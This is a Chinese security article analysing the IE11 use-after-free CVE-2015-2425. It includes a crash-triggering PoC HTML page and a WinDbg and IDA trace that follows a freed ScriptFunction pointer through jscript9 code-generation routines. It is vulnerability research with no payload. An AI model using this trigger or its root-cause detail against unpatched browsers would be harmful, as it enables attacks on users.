IE 11浏览器0day漏洞(CVE-2015-2425)UAF分析

2017-10-22 300059人围观 ,发现 1 个不明物体 漏洞

*本文原创作者:pwdme,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

CVE-2015-2425Hacking team泄露出来的一个IE110day漏洞,影响了IE11及之前的版本。在一封Hacking Team高层收到的来自Vectra Networks安全公司的信件中被发现。Vectra Networks公司的研究者在信中向Hacking Team提供了对于Windows 7/8.1最新版的IE11的poc代码。但Hacking Team并没有购买,所以只泄露了poc,并没有攻击代码。

环境

测试环境是win8.132位,IE版本是IE11。

poc

poc.html:

<!doctype html>
<html>
    <head>

        <script>
            function testcase()
            {

                var observerObject = new MutationObserver(function(){});
                document.write("1");

                node1 = document.createElement('DIV');
                node2 = document.createElement('DIV');
                node3 = document.createElement('DIV');
                node4 = document.createElement('script');
                node4.innerText = '1;';

                var observerObject = new MutationObserver(function(){});
                observerObject.observe(node1, {childList: true, subtree: true});

                node1.appendChild(node2);
                document.body.appendChild(node4);
                node2.parentNode.insertBefore(node3, node2);

            }

        </script>
    </head>
    <body onload='testcase();'>

    </body>
</html>

把IE11附加到windbg上,然后运行poc.html,IE11崩溃到一个无法读取的地址:

0:005> 
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=00000003 edi=0325c9e4
eip=057e0000 esp=0325c81c ebp=0325c868 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
057e0000 ??              ???

windbg+IDA分析

由于崩溃在一个不可访问的地址,不好确定之前的指令,这时需要用到与栈回溯相关的命令,就是windbg中的k一系列命令:

k    显示调用栈
kn    调用带帧号的栈
kb    显示调用前三项栈
kb 5    仅显示调用前五帧
kv    在kb命令的基础上增加显示FPO信息和调用协议

每一行描述当前的一个栈帧,最上面的一行描述的是当前指令的返回地址:

0:005> k
ChildEBP RetAddr  
0325c818 63dfcf3c 0x57e0000
0325c868 63dfd509 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
0325c8d4 63dfd45b jscript9!Js::JavascriptFunction::CallRootFunction+0x93
0325c91c 63dfd3e2 jscript9!ScriptSite::CallRootFunction+0x42
0325c944 63dfea53 jscript9!ScriptSite::Execute+0x6c
0325c9a0 63dfe98f jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb
0325c9b8 6476cc83 jscript9!ScriptEngineBase::Execute+0x1c

由此可知崩溃的返回地址是63dfcf3c,在JavascriptFunction::CallFunction<1>中,看当前的esp也可以得出同样的结论:

0:005> dd esp
0325c81c  63dfcf3c 0583a140 00000003 05818b70
0:005> u 63dfcf3c L1
jscript9!Js::JavascriptFunction::CallFunction<1>+0x88:
63dfcf3c 8b65e0          mov     esp,dword ptr [ebp-20h]

为了看到函数是怎么调用的,需要用到.frame命令,使用.frame /c 1回到崩溃栈的第一层,也就是上层函数调用时的状态:

0:005> .frame /c 1
01 0325c868 63dfd509 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=00000003 edi=0325c9e4
eip=63dfcf3c esp=0325c820 ebp=0325c868 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x88:
63dfcf3c 8b65e0          mov     esp,dword ptr [ebp-20h] ss:0023:0325c848=0325c838

看到回到了上层函数中,eip的值为崩溃处的返回地址,在反汇编窗口可以看到上层函数,也可以用u命令:

0:005> ub . L30
jscript9!RecyclerSweep::FinishSweep+0x7a:
63dfceb9 90              nop
63dfceba 90              nop
jscript9!Js::JavascriptFunction::CallFunction<1>:
63dfcebb 8bff            mov     edi,edi
63dfcebd 55              push    ebp
63dfcebe 8bec            mov     ebp,esp
63dfcec0 83ec24          sub     esp,24h
63dfcec3 53              push    ebx
63dfcec4 8bd9            mov     ebx,ecx
63dfcec6 8955e4          mov     dword ptr [ebp-1Ch],edx
63dfcec9 56              push    esi
63dfceca 8b7508          mov     esi,dword ptr [ebp+8]
63dfcecd 57              push    edi
63dfcece 8b4304          mov     eax,dword ptr [ebx+4]
63dfced1 8975ec          mov     dword ptr [ebp-14h],esi
63dfced4 81e6ffffff00    and     esi,0FFFFFFh
63dfceda 8bd6            mov     edx,esi
63dfcedc 895de8          mov     dword ptr [ebp-18h],ebx
63dfcedf c1e202          shl     edx,2
63dfcee2 8b4004          mov     eax,dword ptr [eax+4]
63dfcee5 52              push    edx
63dfcee6 8955f4          mov     dword ptr [ebp-0Ch],edx
63dfcee9 8bb814020000    mov     edi,dword ptr [eax+214h]
63dfceef 8b8748020000    mov     eax,dword ptr [edi+248h]
63dfcef5 8bc8            mov     ecx,eax
63dfcef7 8945f8          mov     dword ptr [ebp-8],eax
63dfcefa e823b7ffff      call    jscript9!ThreadContext::IsStackAvailable (63df8622)
63dfceff 84c0            test    al,al
63dfcf01 0f84a7ef2100    je      jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1ca7b (6401beae)
63dfcf07 8965e0          mov     dword ptr [ebp-20h],esp
63dfcf0a 8b45f4          mov     eax,dword ptr [ebp-0Ch]
63dfcf0d 3d00100000      cmp     eax,1000h
63dfcf12 7d3a            jge     jscript9!Js::JavascriptFunction::CallFunction<1>+0x5d (63dfcf4e)
63dfcf14 2be0            sub     esp,eax
63dfcf16 83e4f8          and     esp,0FFFFFFF8h
63dfcf19 8965f0          mov     dword ptr [ebp-10h],esp
63dfcf1c 8b55f0          mov     edx,dword ptr [ebp-10h]
63dfcf1f 33c9            xor     ecx,ecx
63dfcf21 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
63dfcf24 85f6            test    esi,esi
63dfcf26 740b            je      jscript9!Js::JavascriptFunction::CallFunction<1>+0x7f (63dfcf33)
63dfcf28 8b048f          mov     eax,dword ptr [edi+ecx*4]
63dfcf2b 89048a          mov     dword ptr [edx+ecx*4],eax
63dfcf2e 41              inc     ecx
63dfcf2f 3bce            cmp     ecx,esi
63dfcf31 72f5            jb      jscript9!Js::JavascriptFunction::CallFunction<1>+0x74 (63dfcf28)
63dfcf33 ff75ec          push    dword ptr [ebp-14h]
63dfcf36 ff75e8          push    dword ptr [ebp-18h]
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]

产生崩溃的地方是63dfcf39call函数,调用的是[ebp-1Ch]处的函数指针,在IDA中看一下CallFunction<1>的定义:

int __fastcall Js::JavascriptFunction::CallFunction<1>(int a1, int (__fastcall *a2)(unsigned int, struct Js::ScriptContext **, int, int), int a3, int a4)

这个函数是__fastcall方式调用的,__fastcall是一种快速调用方式,规定将前两个参数由寄存器ecxedx来传递,其余参数还是通过堆栈传递(从右到左),不同编译器编译的程序规定的寄存器不同。在Intel 386平台上,使用ECXEDX寄存器。

往前找更改ebp-1Ch内容的指令,只有63dfcec6处的mov指令:

jscript9!Js::JavascriptFunction::CallFunction<1>:
63dfcebb 8bff            mov     edi,edi
63dfcebd 55              push    ebp
63dfcebe 8bec            mov     ebp,esp
63dfcec0 83ec24          sub     esp,24h
63dfcec3 53              push    ebx
63dfcec4 8bd9            mov     ebx,ecx
63dfcec6 8955e4          mov     dword ptr [ebp-1Ch],edx
...
...
63dfcf33 ff75ec          push    dword ptr [ebp-14h]
63dfcf36 ff75e8          push    dword ptr [ebp-18h]
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]

edx是函数的第二个参数,也就是一个函数指针,所以63dfcf39处的指令是调用了函数指针所指向的函数,这样的话,还需要向上层看,到底是什么样的函数指针,回到上一层函数:

0:005> .frame /c 2
02 0325c8d4 63dfd45b jscript9!Js::JavascriptFunction::CallRootFunction+0x93
eax=057e0000 ebx=0583a140 ecx=63e0630a edx=02ca8484 esi=02ca0438 edi=0325c8a0
eip=63dfd509 esp=0325c870 ebp=0325c8d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallRootFunction+0x93:
63dfd509 8bf0            mov     esi,eax
0:005> ub . L30
jscript9!Js::JavascriptFunction::CallRootFunction:
63dfd472 6a40            push    40h
63dfd474 b82c17fa63      mov     eax,offset jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x1e58 (63fa172c)
63dfd479 e8333cffff      call    jscript9!_except_handler4 (63df10b1)
63dfd47e 8bd9            mov     ebx,ecx
63dfd480 8b7508          mov     esi,dword ptr [ebp+8]
63dfd483 8365ec00        and     dword ptr [ebp-14h],0
63dfd487 8b8ed8050000    mov     ecx,dword ptr [esi+5D8h]
63dfd48d 8b8648020000    mov     eax,dword ptr [esi+248h]
63dfd493 8945e4          mov     dword ptr [ebp-1Ch],eax
63dfd496 85c9            test    ecx,ecx
63dfd498 0f840c401a00    je      jscript9!Js::JavascriptFunction::CallRootFunction+0xe4 (63fa14aa)
63dfd49e 8b01            mov     eax,dword ptr [ecx]
63dfd4a0 ff5028          call    dword ptr [eax+28h]
63dfd4a3 85c0            test    eax,eax
63dfd4a5 0f9545e8        setne   byte ptr [ebp-18h]
63dfd4a9 8365b400        and     dword ptr [ebp-4Ch],0
63dfd4ad 8d7db8          lea     edi,[ebp-48h]
63dfd4b0 ff75e8          push    dword ptr [ebp-18h]
63dfd4b3 33c0            xor     eax,eax
63dfd4b5 8d4dcc          lea     ecx,[ebp-34h]
63dfd4b8 ab              stos    dword ptr es:[edi]
63dfd4b9 6a01            push    1
63dfd4bb 6a01            push    1
63dfd4bd ff7504          push    dword ptr [ebp+4]
63dfd4c0 ab              stos    dword ptr es:[edi]
63dfd4c1 ab              stos    dword ptr es:[edi]
63dfd4c2 ab              stos    dword ptr es:[edi]
63dfd4c3 ab              stos    dword ptr es:[edi]
63dfd4c4 8d45b4          lea     eax,[ebp-4Ch]
63dfd4c7 50              push    eax
63dfd4c8 56              push    esi
63dfd4c9 e881d0ffff      call    jscript9!Js::EnterScriptObject::EnterScriptObject (63dfa54f)
63dfd4ce 8365fc00        and     dword ptr [ebp-4],0
63dfd4d2 8bce            mov     ecx,esi
63dfd4d4 0fb68624070000  movzx   eax,byte ptr [esi+724h]
63dfd4db 6a01            push    1
63dfd4dd 50              push    eax
63dfd4de 6a01            push    1
63dfd4e0 e8cdcbffff      call    jscript9!Js::ScriptContext::OnScriptStart (63dfa0b2)
63dfd4e5 c645fc01        mov     byte ptr [ebp-4],1
63dfd4e9 8bcb            mov     ecx,ebx
63dfd4eb f7450c00000001  test    dword ptr [ebp+0Ch],1000000h
63dfd4f2 ff7510          push    dword ptr [ebp+10h]
63dfd4f5 ff750c          push    dword ptr [ebp+0Ch]
63dfd4f8 0f85a8ad1c00    jne     jscript9!Js::JavascriptFunction::CallRootFunction+0xed (63fc82a6)
63dfd4fe 8b4304          mov     eax,dword ptr [ebx+4]
63dfd501 8b500c          mov     edx,dword ptr [eax+0Ch]
63dfd504 e8b2f9ffff      call    jscript9!Js::JavascriptFunction::CallFunction<1> (63dfcebb)

看到edx来源是[eax+0Ch],而eax的来源是[ebx+4]ebx来源于下面一句:

63dfd47e 8bd9            mov     ebx,ecx

看一下这个函数的定义:

int __thiscall Js::JavascriptFunction::CallRootFunction(void *this, int a2, int a3, int a4)

__thiscall为了解决类成员调用中this指针传递而规定的,__thiscall要求把this指针放在特定寄存器中,该寄存器由编译器决定。VC使用ecx。所以这里ecx里的指针就是this指针。梳理一下这里的过程:

Js::JavascriptFunction::CallRootFunction:
mov     ebx,ecx
mov     eax,[ebx+4]
mov     edx,[eax+0Ch]
Js::JavascriptFunction::CallFunction<1>:
mov     [ebp-1Ch],edx
call    [ebp-1Ch]

推测这里调用了某个对象的成员函数,而这个对象是JavascriptFunction对象。

弄清楚后我们回到崩溃点所在的函数内,选择在call [ebp-1Ch]处下断点,断点会多次触发,触发5次后,停下,步入函数看:

0:016> bp 63dfcf39
0:016> g
Breakpoint 0 hit
eax=00000000 ebx=043f8e80 ecx=00000000 edx=02e8c248 esi=00000000 edi=00000000
eip=63dfcf39 esp=02e8c240 ebp=02e8c278 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]  ss:0023:02e8c25c=63e06312
0:005> g
Breakpoint 0 hit
eax=04416240 ebx=043f8f20 ecx=00000002 edx=02e8bf18 esi=00000002 edi=02e8c0cc
eip=63dfcf39 esp=02e8bf10 ebp=02e8bf50 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]  ss:0023:02e8bf34=63e06312
0:005> g
Breakpoint 0 hit
eax=00000000 ebx=0546a400 ecx=00000000 edx=02e8a710 esi=00000000 edi=00000000
eip=63dfcf39 esp=02e8a708 ebp=02e8a740 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]  ss:0023:02e8a724=63e06312
0:005> g
Breakpoint 0 hit
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8a908 esi=00000003 edi=02e8aac4
eip=63dfcf39 esp=02e8a900 ebp=02e8a948 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]  ss:0023:02e8a92c=63e06312
0:005> g
Breakpoint 0 hit
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63dfcf39 esp=02e8c6f0 ebp=02e8c738 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::JavascriptFunction::CallFunction<1>+0x85:
63dfcf39 ff55e4          call    dword ptr [ebp-1Ch]  ss:0023:02e8c71c=63e06312
0:005> t
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63e06312 esp=02e8c6ec ebp=02e8c738 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGen+0x12d:
63e06312 8bc0            mov     eax,eax
...
...
0:005> 
eax=05448b70 ebx=0546a140 ecx=00000003 edx=02e8c6f8 esi=00000003 edi=02e8c8b4
eip=63e0631b esp=02e8c6e4 ebp=02e8c6e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:005> 
eax=05410000 ebx=0546a140 ecx=63e0630a edx=02716e84 esi=00000003 edi=02e8c8b4
eip=63e06320 esp=02e8c6e8 ebp=02e8c6e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0xc:
63e06320 5d              pop     ebp
0:005> 
eax=05410000 ebx=0546a140 ecx=63e0630a edx=02716e84 esi=00000003 edi=02e8c8b4
eip=63e06321 esp=02e8c6ec ebp=02e8c738 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0xd:
63e06321 ffe0            jmp     eax {05410000}

63e0631b处的call后,eax就会变成一段已经释放内存的地址,看到这句的jmp指令跳到了eax指向的值,把这段函数汇编看一下:

0:005> u NativeCodeGenerator::CheckCodeGenThunk 63e06322
jscript9!NativeCodeGenerator::CheckCodeGenThunk:
63e06314 55              push    ebp
63e06315 8bec            mov     ebp,esp
63e06317 ff742408        push    dword ptr [esp+8]
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
63e06320 5d              pop     ebp
63e06321 ffe0            jmp     eax

eax里存放的应该是NativeCodeGenerator::CheckCodeGen的返回值,这次在这个函数上下断点再次调试,会触发六次断点,在返回前调用了NativeCodeGenerator::CheckCodeGenDoneeax置为了不可访问的地址:

0:007> 
eax=02c9c524 ebx=00000001 ecx=04b7a140 edx=02548418 esi=030c8180 edi=02533480
eip=63e01d02 esp=02c9c510 ebp=02c9c544 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGen+0x130:
63e01d02 e80a000000      call    jscript9!NativeCodeGenerator::CheckCodeGenDone (63e01d11)
0:007> 
eax=03ce0000 ebx=00000001 ecx=03ce0000 edx=02548484 esi=030c8180 edi=02533480
eip=63e01d07 esp=02c9c510 ebp=02c9c544 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGen+0x135:
63e01d07 e9f9450000      jmp     jscript9!NativeCodeGenerator::CheckCodeGen+0x120 (63e06305)

看看NativeCodeGenerator::CheckCodeGenDone,这次还在调用NativeCodeGenerator::CheckCodeGen上下断点,六次断点后进入CheckCodeGenDone,发现里面还有一个call改变了eax的值,然后还有mov eax,edi:

0:005> 
eax=02300230 ebx=03fd8180 ecx=0500a140 edx=008dee84 esi=03fd9120 edi=04fb0000
eip=63e01d86 esp=02a4c228 ebp=02a4c248 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x71:
63e01d86 e854480000      call    jscript9!Js::ScriptFunction::UpdateThunkEntryPoint (63e065df)
0:005> 
eax=04fb0000 ebx=03fd8180 ecx=04fb0000 edx=008dee84 esi=03fd9120 edi=04fb0000
eip=63e01d8b esp=02a4c230 ebp=02a4c248 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x76:
63e01d8b 8bc7            mov     eax,edi

再次用相同的方式调试,这次进入ScriptFunction::UpdateThunkEntryPoint看看,这个函数如下:

jscript9!Js::ScriptFunction::UpdateThunkEntryPoint:
63e065df 8bff            mov     edi,edi
63e065e1 55              push    ebp
63e065e2 8bec            mov     ebp,esp
63e065e4 56              push    esi
63e065e5 8bf1            mov     esi,ecx
63e065e7 8b06            mov     eax,dword ptr [esi]
63e065e9 ff906c010000    call    dword ptr [eax+16Ch]
63e065ef 85c0            test    eax,eax
63e065f1 0f8575281500    jne     jscript9!Js::ScriptFunction::UpdateThunkEntryPoint+0x29 (63f58e6c)
63e065f7 ff750c          push    dword ptr [ebp+0Ch]
63e065fa 8bce            mov     ecx,esi
63e065fc ff7508          push    dword ptr [ebp+8]
63e065ff e80d000000      call    jscript9!Js::ScriptFunction::ChangeEntryPoint (63e06611)
63e06604 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:04e5c30c=05900000
63e06607 5e              pop     esi
63e06608 5d              pop     ebp
63e06609 c20800          ret     8

63e06604mov语句改变了eax:

0:015> 
eax=0595e8a0 ebx=05128180 ecx=05900000 edx=02aeea84 esi=0595a140 edi=05900000
eip=63e06604 esp=04e5c2fc ebp=04e5c300 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!Js::ScriptFunction::UpdateThunkEntryPoint+0x21:
63e06604 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:04e5c30c=05900000

这个函数返回后有一个mov eax,esi的指令,但这里edi值也已经是返回后eax的值了,看来还要追踪edi,看一下CheckCodeGenDone函数:

0:015> u NativeCodeGenerator::CheckCodeGenDone 63e01d8e
jscript9!NativeCodeGenerator::CheckCodeGenDone:
63e01d11 8bff            mov     edi,edi
63e01d13 55              push    ebp
63e01d14 8bec            mov     ebp,esp
63e01d16 83ec0c          sub     esp,0Ch
63e01d19 8b4114          mov     eax,dword ptr [ecx+14h]
63e01d1c 53              push    ebx
63e01d1d 56              push    esi
63e01d1e 57              push    edi
63e01d1f 8b7010          mov     esi,dword ptr [eax+10h]
63e01d22 8b4104          mov     eax,dword ptr [ecx+4]
63e01d25 894df8          mov     dword ptr [ebp-8],ecx
63e01d28 8a96dd000000    mov     dl,byte ptr [esi+0DDh]
63e01d2e 8b5820          mov     ebx,dword ptr [eax+20h]
63e01d31 f6c220          test    dl,20h
63e01d34 0f8433250300    je      jscript9!NativeCodeGenerator::CheckCodeGenDone+0x7f (63e3426d)
63e01d3a 8a86dd000000    mov     al,byte ptr [esi+0DDh]
63e01d40 a801            test    al,1
63e01d42 7508            jne     jscript9!NativeCodeGenerator::CheckCodeGenDone+0x37 (63e01d4c)
63e01d44 0c01            or      al,1
63e01d46 8886dd000000    mov     byte ptr [esi+0DDh],al
63e01d4c 807b3c03        cmp     byte ptr [ebx+3Ch],3
63e01d50 8b7b0c          mov     edi,dword ptr [ebx+0Ch]
63e01d53 0f85c3522100    jne     jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178e1 (6401701c)
63e01d59 8b4350          mov     eax,dword ptr [ebx+50h]
63e01d5c 85c0            test    eax,eax
63e01d5e 7421            je      jscript9!NativeCodeGenerator::CheckCodeGenDone+0x6c (63e01d81)
63e01d60 80781500        cmp     byte ptr [eax+15h],0
63e01d64 741b            je      jscript9!NativeCodeGenerator::CheckCodeGenDone+0x6c (63e01d81)
63e01d66 ff7620          push    dword ptr [esi+20h]
63e01d69 8bcb            mov     ecx,ebx
63e01d6b e866000000      call    jscript9!Js::EntryPointInfo::PinTypeRefs (63e01dd6)
63e01d70 ff7620          push    dword ptr [esi+20h]
63e01d73 8bcb            mov     ecx,ebx
63e01d75 e833000000      call    jscript9!Js::EntryPointInfo::InstallTypePropertyGuards (63e01dad)
63e01d7a 8bcb            mov     ecx,ebx
63e01d7c e8d1120000      call    jscript9!Js::EntryPointInfo::FreeJitTransferData (63e03052)
63e01d81 8b4df8          mov     ecx,dword ptr [ebp-8]
63e01d84 57              push    edi
63e01d85 53              push    ebx
63e01d86 e854480000      call    jscript9!Js::ScriptFunction::UpdateThunkEntryPoint (63e065df)
63e01d8b 8bc7            mov     eax,edi

edi是作为参数传入UpdateThunkEntryPoint的,并且在函数内没有被改变,那么还要往回追踪,经过回溯,从CheckCodeGenDone函数开头开始跟,由于中间还有跳转,所以edi的值还会改变,跟到edi变成崩溃时的返回地址时可以得出:

0:005> 
eax=0294c45c ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d19 esp=0294c434 ebp=0294c440 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x8:
63e01d19 8b4114          mov     eax,dword ptr [ecx+14h] ds:0023:0506a154=04349120
...
0:005> 
eax=0506e8a0 ebx=00000001 ecx=0506a140 edx=021e5d84 esi=04349120 edi=021e5e08
eip=63e01d2e esp=0294c428 ebp=0294c440 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x1d:
63e01d2e 8b5820          mov     ebx,dword ptr [eax+20h] ds:0023:0506e8c0=04348180
...
0:005> 
eax=04345185 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=021e5e08
eip=63e01d50 esp=0294c428 ebp=0294c440 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x3b:
63e01d50 8b7b0c          mov     edi,dword ptr [ebx+0Ch] ds:0023:0434818c=63e06312
...
0:005> 
eax=021e03f0 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=63e06312
eip=6401701f esp=0294c428 ebp=0294c440 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178e4:
6401701f bfc6770e64      mov     edi,offset jscript9!Js::ScriptContext::DebugProfileProbeThunk (640e77c6)
...
0:005> 
eax=021e03f0 ebx=04348180 ecx=00000000 edx=021e5d84 esi=04349120 edi=640e77c6
eip=64017029 esp=0294c428 ebp=0294c440 iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000283
jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x178ee:
64017029 8b7e04          mov     edi,dword ptr [esi+4] ds:0023:04349124=05010000

那么还需要跟踪一下esi,可以看到来自eax,而eax来自ecx:

0:005> 
eax=0294c45c ebx=00000001 ecx=00000000 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01cff esp=0294c448 ebp=0294c47c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript9!NativeCodeGenerator::CheckCodeGen+0x12d:
63e01cff 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:0294c484=0506a140
...
0:005> 
eax=0294c45c ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d19 esp=0294c434 ebp=0294c440 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0x8:
63e01d19 8b4114          mov     eax,dword ptr [ecx+14h] ds:0023:0506a154=04349120
...
0:005> 
eax=04349120 ebx=00000001 ecx=0506a140 edx=021e5d88 esi=04348180 edi=021e5e08
eip=63e01d1f esp=0294c428 ebp=0294c440 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript9!NativeCodeGenerator::CheckCodeGenDone+0xe:
63e01d1f 8b7010          mov     esi,dword ptr [eax+10h] ds:0023:04349130=04349120

所以ecx中是CheckCodeGen的第一个参数:

void *(__high *__stdcall NativeCodeGenerator::CheckCodeGen(struct Js::ScriptFunction *a1))(struct Js::RecyclableObject *, struct Js::CallInfo, ...)

ScriptFunction对象,说明在最后一次调用CheckCodeGen前这个对象就已经被释放了,用poi看看指针引用的过程,通过三次引用找到了那块已经释放的内存:

0:005> d poi(poi(poi(0506a140+0x14)+0x10)+0x4)
05010000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

重启后在第五次断在63e0631b时,ebx指向了ScriptFunction对象,这时看一下触发漏洞的指针,然后在第六次时看一下指针:

0:015> g
Breakpoint 0 hit
eax=058e8b70 ebx=0590a140 ecx=00000003 edx=04e2aa68 esi=00000003 edi=04e2ac24
eip=63e0631b esp=04e2aa54 ebp=04e2aa58 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:015> d poi(poi(poi(0590a140+0x14)+0x10)+0x4)
63e06d2e  8b c0 55 8b ec ff 74 24-08 e8 b8 ff ff ff 5d ff  ..U...t$......].
63e06d3e  e0 8b 75 c8 8b 46 04 88-54 b8 04 8b 46 04 89 4c  ..u..F..T...F..L
63e06d4e  b8 08 fe 46 38 e9 b0 fa-ff ff 90 90 90 90 90 8b  ...F8...........
63e06d5e  ff 55 8b ec 51 53 8b 5d-0c 56 57 8b 7d 08 8b 33  .U..QS.].VW.}..3
63e06d6e  89 4d fc 8b 47 24 8b 40-20 8b 00 83 78 08 ff 8b  .M..G$.@ ...x...
63e06d7e  50 10 89 55 0c 0f 84 80-0e 00 00 85 f6 75 19 8b  P..U.........u..
63e06d8e  47 20 8b d7 56 8b 88 70-04 00 00 e8 88 00 00 00  G ..V..p........
63e06d9e  8b 55 0c 8b 4d fc 89 03-80 b9 44 02 00 00 00 75  .U..M.....D....u
0:015> g
Breakpoint 0 hit
eax=058e8b70 ebx=0590a140 ecx=00000003 edx=04e2c850 esi=00000003 edi=04e2ca0c
eip=63e0631b esp=04e2c83c ebp=04e2c840 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript9!NativeCodeGenerator::CheckCodeGenThunk+0x7:
63e0631b e81dffffff      call    jscript9!NativeCodeGenerator::CheckCodeGen (63e0623d)
0:015> d poi(poi(poi(0590a140+0x14)+0x10)+0x4)
058b0000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
058b0010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
...
0:015> g
(f90.6e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
